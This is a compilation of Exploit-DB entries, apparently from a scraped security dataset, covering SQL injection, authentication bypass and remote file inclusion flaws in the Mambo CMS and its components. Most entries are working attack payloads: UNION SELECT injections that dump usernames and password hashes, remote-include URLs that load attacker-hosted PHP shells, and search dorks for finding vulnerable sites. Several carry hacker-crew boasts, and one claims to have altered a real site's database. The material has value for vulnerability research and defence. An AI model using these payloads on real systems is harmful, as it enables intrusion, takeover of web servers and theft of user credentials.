deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43843
Description: Mambo < 4.5.4 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-04
Author: GulfTech Security

Exploit:
Mambo SQL Injection

Vendor: Miro International Pty Ltd
Product: Mambo
Version: <= 4.5.4
Website: http://www.mamboserver.com/

BID: 20366 
OSVDB: 50002 

Description:
Mambo is a popular Open Source Content Management System released under the GNU General Public license (GNU GPL). There are unfortunately some serious flaws in Mambo's login feature that allow for authentication bypass. This can be used to access arbitrary accounts, but even worse can be used to eventually install harmful modules and execute arbitrary php code on the server running Mambo. The Mambo team have committed fixes for these issues to SVN, and patches are available from the official Mambo website. Users are encouraged to patch the vulnerable functionality or update their Mambo installation as soon as possible. 


Authentication Bypass
Mambo is vulnerable to an Authentication Bypass issue that is due to an SQL Injection in the login function. The SQL Injection is possible because the $passwd variable is only sanitized when it is not passed as an argument to the function. 
function login( $username=null,$passwd=null ) {
global $acl;

$usercookie = mosGetParam( $_COOKIE, 'usercookie', '' );
$sessioncookie = mosGetParam( $_COOKIE, 'sessioncookie', '' );
if (!$username || !$passwd) {
	$username = trim( mosGetParam( $_POST, 'username', '' ) );
	$passwd = trim( mosGetParam( $_POST, 'passwd', '' ) );
	$passwd = md5( $passwd );
	$bypost = 1;
}
$remember = trim( mosGetParam( $_POST, 'remember', '' ) );

if (!$username || !$passwd) {
	echo "<script> alert(\""._LOGIN_INCOMPLETE."\"); window.history.go(-1); </script>\n";
	exit();
} else {
	$username = $this->_db->getEscaped($username);
	$this->_db->setQuery( "SELECT id, gid, block, usertype"
	. "\nFROM #__users"
	. "\nWHERE username='$username' AND [CREDENTIAL_REDACTED]'"
	);
	

As seen in the above code it is assumed that the $passwd variable is an md5 hash, but when sending a cookie with values like "usercookie[password]=%27 or 1=1/*; usercookie[username]=admin" the query is broken, and the password is never checked correctly. This issue would probably be limited to SQL Injection, but Mambo allows a user to change their password without knowing the original password. They just have to be logged in to the particular account that they want to change the password for. Using this strategy an attacker could login as the admin using the authentication bypass vulnerability, change the admin password, and then successfully log into the admin section where uploading arbitrary php code via the "install module" function. 


Solution:
The Mambo development team have committed updates to SVN, and the patches can be obtained by visiting the official mambo website. 


Credits:
James Bercegay of the GulfTech Security Research Team
Exploit-DB #28199
Description: Mambo Componen phpBB 1.2.4 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-07-09
Author: h4ntu

Exploit:
source: https://www.securityfocus.com/bid/18914/info

phpBB for Mambo is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

Versions 1.2.4-RC3 and prior are affected.

http://www.example.com/components/com_forum/download.php?phpbb_root_path=[attacker]
Exploit-DB #2207
Description: Mambo Component 'com_a6mambocredits' 1.0.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Cmaster4

Exploit:
Title : Mambo a6mambocredits component v1.0.0 <== (mosConfig_live_site) Remote File Include Vulnerabilities

Affected Application: Mambo a6mambocredits component v1.0.0

(Mambo CMS Component)


. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


Discoverd/Found by: Charles Nelwan a.k.a Cmaster4

Team: #BatamHacker irc.dal.net crew

URL: http://www.batamhacker.info/forum

E-Mail: bugtraq_indo@yahoo.com


. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


Typ: Remote [x] Local [ ]

Remote File Inclusion [x] SQL Injection [ ]

Level: Low [ ] Middle [x] High [ ]

Application: Mambo a6mambocredits

Version: 1.0.0

Vulnerable File: admin.a6mambocredits.php

URL: www.active6.com

Description: Mambo 4.5.1 component to display component credits in one central page.

google dork : inurl:"com_a6mambocredits"



. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


http://www.targer.com/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=http://Senjata.com/tembuspakeshell.txt


Shoutz:
~~~~~~
~ Special Greetz To My BATAMHACKER CREW ON IRC.DAL.NET h4ntu, havicaz, baylaw
~ To All Indonesian Underground Hacker 

# milw0rm.com [2006-08-17]
Exploit-DB #2078
Description: Mambo Component 'com_a6mambohelpdesk' 18RC1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-27
Author: Dr.Jr7

Exploit:
a6mambohelpdesk Mambo Component <= 18RC1 Remote Include Vulnerability

# Rish : High
# Class : Remote
# Script : a6mambohelpdesk
# Thanx : www.lezr.com/vb

# codes

<?
include("$mosConfig_live_site/components/com_a6mambohelpdesk/about.html" );
?>

# d0rkiz : allinurl:"com_a6mambohelpdesk"

http://www.site.com/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://shell.txt


# by Dr.Jr7

# milw0rm.com [2006-07-27]
Exploit-DB #11474
Description: Mambo Component 'com_acnews' - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-16
Author: Zero Bits & Xzit3

Exploit:
Mambo Component com_acnews [id] | SQL Injection

Author: Zero Bits & Xzit3
Team: Ro0T-MaFia
Member's: Zero Bits, CMD, Jeferx, Xzit3, XP3RM4 & Jeferx
Date: 15/02/2010
Contact: Zer_Bits@GobiernoFederal.com - wscalle1@e-r00t.org
Country: Venezuela - Mexico
############################

Vulnerability's:

[+] SQL Injection:
Error: You have an error in your SQL syntax.


BUG: index.php?lang=en&option=com_acnews&task=view&id=188(SQLi)

Real example:

http://server/index.php?lang=en&option=com_acnews&task=view&id=-188'&Itemid=136&page=0 (Web Vuln.)
http://server/index.php?lang=en&option=com_acnews&task=view&id=331%27&page=0

http://server/index.php?option=com_acnews&page=1&Itemid=-1+UNION+SELECT+1,2,concat%28username,0x20,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20mos_users--

###########################

Visit:

Ilegalintrusion.NET | Seguridadblanca.ORG | Diosdelared.COM | Remoteexecution.ORG
Exploit-DB #5029
Description: Mambo Component 'com_akogallery' 2.5b - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-31
Author: S@BUN

Exploit:
#########################################################################
#
#
#  joomla SQL Injection(com_akogallery)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_akogallery"
#
########################################################################
EXPLOIT :

index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-334455/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*

index.php?option=com_akogallery&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/null,null,concat(password,0x3a),null,null,null,null,null,null,null,null,null,null,concat(0x3a,username)/**/from/**/mos_users/*

#########################################################################
# S@BUN                   www.hackturkiye.com                        S@BUN
#########################################################################
# S@BUN                         GOOD LUCKY                              S@BUN
#########################################################################

  <name>akogallery</name>
  <creationDate>21.06.2004</creationDate>
  <author>Arthur Konze</author>
  <copyright>Copyright 2003, 2004 by Arthur Konze. Distribution prohibited!</copyright>
  <authorEmail>webmaster@mamboportal.com</authorEmail>

  <authorUrl>www.mamboportal.com</authorUrl>
  <version>2.5 beta</version>
  <description>AkoGallery is a fully integrated Mambo picture gallery component.</description>

# milw0rm.com [2008-01-31]
Exploit-DB #5058
Description: Mambo Component 'com_awesom' 0.3.2 - 'listid' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-04
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_awesom)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#
#########################################################################
#
#    DORKS 1 : allinurl :"com_awesom"
#
#   
#########################################################################   
# 
#    Ä± changed ATATÃœRK.com's db.  soo dont look
#
#   ATATÃœRK.com db si deÄŸiÅŸtirilip kullanÄ±cÄ±sÄ±na bildirilmiÅŸtir.
#
##########################################################################
EXPLOIT :

index.php?option=com_awesom&Itemid=S@BUN&task=viewlist&listid=-1/**/union/**/select/**/null,concat(username,0x3a,password),null,null,null,null,null,null,null/**/from/**/mos_users/*


##########################################################################
# S@BUN                   www.hackturkiye.com               S@BUN
##########################################################################
# S@BUN                        GOOD LUCKY                    S@BUN
##########################################################################

	<name>Awesom</name>
	<creationDate>24/05/2004</creationDate>
	<author>Madd0</author>
	<copyright>This component is released under the GNU/GPL License</copyright>
	<authorEmail>madd0@users.sourceforge.net</authorEmail>

	<authorUrl>amazoop.sourceforge.net</authorUrl>
	<version>0.3.2</version>
	<description>Awesom!, or Amazon Web Services for Opensource Mambo, is a component that lets you 
		create lists of products to feature on your Mambo-driven site.<br />
		These lists can be customized or can be automatically generated with information provided 
		by Amazon through Amazon Web Services.<br />
		Additionally, if you are an Amazon associate, you can configure Awesom to link to Amazon 
		using your associate ID in order to earn comissions.
	</description>

# milw0rm.com [2008-02-04]
Exploit-DB #5030
Description: Mambo Component 'com_catalogshop' 1.0b1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-01-31
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_catalogshop)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_catalogshop"
#
########################################################################
EXPLOIT :

index.php?option=com_catalogshop&Itemid=S@BUN&func=detail&id=-1/**/union/**/select/**/null,null,concat(password),3,4,5,6,7,8,9,10,11,12,concat(username)/**/from/**/mos_users/*


#########################################################################
# S@BUN                 www.hackturkiye.com                     S@BUN
#########################################################################
# S@BUN                      GOOD LUCKY                          S@BUN
#########################################################################

  <name>catalogshop</name>
  <creationDate>18.01.2005</creationDate>
  <author>K.J. Strickland</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>postbox@pixelbunyip.com</authorEmail>

  <authorUrl>www.pixelbunyip.com and www.mambomates.com</authorUrl>
  <version>1.0 beta 1 ruff n ready</version>
  <description>Catalogshop is a simple Mambo ecommerce component.</description>

# milw0rm.com [2008-01-31]
Exploit-DB #2085
Description: Mambo Component 'com_colophon' 1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-29
Author: Drago84

Exploit:
###########  Command Mambo Colophon =<1.2 ##by #Drago84#########

      Found By Drago84
Exclusive Security Italian Security

  This bug allows a remote atacker to execute commands via rfi

page:
  admin.colophon.php

bug:
 require_once("$mosConfig_absolute_path/components/com_colophon/language/$mosConfig_lang.php");

path:
add in admin.colophon.php
defined( '_VALID_MOS' ) or die( 'hacking attemp.' );

dork: inurl:com_colophon

expl:
htttp:/www.site.it/administrator/components/com_colophon/admin.colophon.php?mosConfig_absolute_path=http://evalsite/shell.php?

# milw0rm.com [2006-07-29]
Exploit-DB #5008
Description: Mambo Component 'com_fq' - 'listid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-29
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_fq)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_fq"
#
########################################################################
EXPLOIT :

index.php?option=com_fq&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                    www.hackturkiye.com                   S@BUN

#########################################################################
#########################################################################
# S@BUN                         GOOD LUCKY                   S@BUN
#########################################################################

# milw0rm.com [2008-01-29]
Exploit-DB #5010
Description: Mambo Component 'com_glossary' 2.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: S@BUN

Exploit:
#########################################################################
#
# joomla(Glossary V2.0) SQL Injection(com_glossary)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_glossary"
#
dork 2 : Glossary V2.0 (exploit working html sites)

########################################################################
EXPLOIT :

index.php?option=com_glossary&func=display&Itemid=s@bun&catid=-1%20union%20select%201,username,password,4,5,6,7,8,9,10,11,12,13,14%20from%20mos_users--

#########################################################################
# S@BUN                 www.hackturkiye.com                S@BUN
#########################################################################
# S@BUN                       GOOD LUCKY                     S@BUN
######################################################################### 

# milw0rm.com [2008-01-30]
Exploit-DB #5009
Description: Mambo Component 'com_mamml' - 'listid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-29
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_mamml)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_mamml"
#
########################################################################
EXPLOIT :

index.php?option=com_mamml&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                  www.hackturkiye.com                  S@BUN

#########################################################################
#########################################################################
# S@BUN                       GOOD LUCKY                       S@BUN
#########################################################################

# milw0rm.com [2008-01-29]
Exploit-DB #5007
Description: Mambo Component 'com_newsletter' 4.5 - 'listid' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-29
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_newsletter)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/

#########################################################################
#
# DorKs 1 : allinurl: "com_newsletter"
#
########################################################################
EXPLOIT :

index.php?option=com_newsletter&Itemid=S@BUN&listid=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

#########################################################################
# S@BUN                       www.hackturkiye.com                    S@BUN
#########################################################################
# S@BUN                            GOOD LUCKY                            S@BUN
#########################################################################




notes:
"Newsletter component for mambo 4.5" from Adam van Dongen, www.tim-online.nl //Thanks George

# milw0rm.com [2008-01-29]
Exploit-DB #2206
Description: Mambo Component 'com_phpshop' 1.2 RC2b - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Cmaster4

Exploit:
Affected Application: Mambo phpShop v1.2 RC2b

(Mambo CMS Component)


. . :[ contact ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


Discoverd/Found by: Charles Nelwan a.k.a Cmaster4

Team: BatamHacker irc.dal.net crew

URL: http://www.batamhacker.info/forum

E-Mail: bugtraq_indo@yahoo.com



. . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


Typ: Remote [x] Local [ ]

Remote File Inclusion [x] SQL Injection [ ]

Level: Low [ ] Middle [x] High [ ]

Application: Mambo phpShop

Version: 1.2 RC2b

Vulnerable File: toolbar.phpshop.html.ph

URL: http://www.mambo-phpshop.net or http://www.mamboportal.com/index.php?option=com_remository&Itemid=27&func=fileinfo&parent=category&filecatid=1054

Description: phpShop component for Mambo. A fully featured shop component with IPN support, categories, userhandling, etc.

inurl:"com_phpshop"


. . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


http://www.targer.com/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=http://Senjata.com/tembuspakeshell.txt



Shoutz:
~~~~~~
~ Special Greetz To My BATAMHACKER CREW ON IRC.DAL.NET h4ntu, havicaz, baylaw
~ To All Indonesian Underground Hacker 

# milw0rm.com [2006-08-17]
Exploit-DB #5279
Description: Mambo Component Accombo 1.x - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-19
Author: S@BUN

Exploit:
##########################################
#
# Mambo Component com_accombo SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
############################################
TODAY MY BÄ°RTDAY
SOO I WROTE 5 BUGS ALL FOR HACKERS
5 EXPLOÄ°TS HAVE 100.000 MAMBO-JOOMLA WEBPAGES OR MUCH MORE
DONT FORGET MY PRESENT HACKERS
GOOD LUCKY

100.000 DEN FAZLA MAMBO NE JOOMLA WEBSiTESi
YASGUNUM NEDENiYLE HEDiYE
iYi SANLAR

you can see all my exploits

http://my.opera.com/SQL-Injection/blog/

###########################################
#
# DORK 1 : allinurl: "com_accombo"
#
###########################################
EXPLOIT :

index.php?option=com_accombo&func=detail&Itemid=S@BUN&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password)/**/from/**/mos_users/*


###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################

side note:
  <name>accombo</name>
  <creationDate>29/02/2004</creationDate>
  <author>Niall McCullagh</author>
  <copyright>This component is released under the GNU/GPL License</copyright>
  <authorEmail>mambo@glenelly.net</authorEmail>

  <authorUrl>mambo.glenelly.net</authorUrl>
  <version>1.4</version>
  <description>Accombo is a Mambo accommodation advertising component.</description>

# milw0rm.com [2008-03-19]
Exploit-DB #36103
Description: Mambo Component Ahsshop - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-02
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/49419/info

The Mambo CMS AHS Shop component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[PATH]/index.php?option=com_ahsshop&flokkur=-294 union select 0,username,password,3,4,5,6,7,8,9 from mos_users
Exploit-DB #5335
Description: Mambo Component Ahsshop 1.51 - 'vara' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-01
Author: S@BUN

Exploit:
##########################################
#
# Mambo Component com_ahsshop SQL Injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "com_ahsshop"do=default
#
###########################################
EXPLOiT 1 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,3,4,0x3a,6,0x3a/**/from/**/mos_users/*

EXPLOiT 2 :

index.php?option=com_ahsshop&do=default&vara=-99999/**/union/**/select/**/concat(username,0x3a,password),1/**/from/**/mos_users/*


###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

side note:
	<name>ahsshop</name>
	<creationDate>15.07.2004</creationDate>
	<author>Arnï¿½r Heiï¿½ar fyrir Netvistun ehf.</author>
	<copyright>Allur hï¿½fundarrï¿½ttur ï¿½skilinn</copyright>
	<authorEmail>arnor@netvistun.is</authorEmail>

	<authorUrl>www.netvistun.is</authorUrl>
	<version>1.51</version>
	<description>Kerfi ï¿½tlaï¿½ til aï¿½ kynna vï¿½rur og vï¿½ruflokka eftir verï¿½um</description>

# milw0rm.com [2008-04-01]
Exploit-DB #11446
Description: Mambo Component AkoGallery - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-14
Author: snakespc

Exploit:
Mambo com_akogallery Remote Sql Injection Vulnerability

Demo:
http://server/index.php?option=com_akogallery&Itemid=91&func=detailgallerie&id=-10+UNION SELECT 1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+mos_users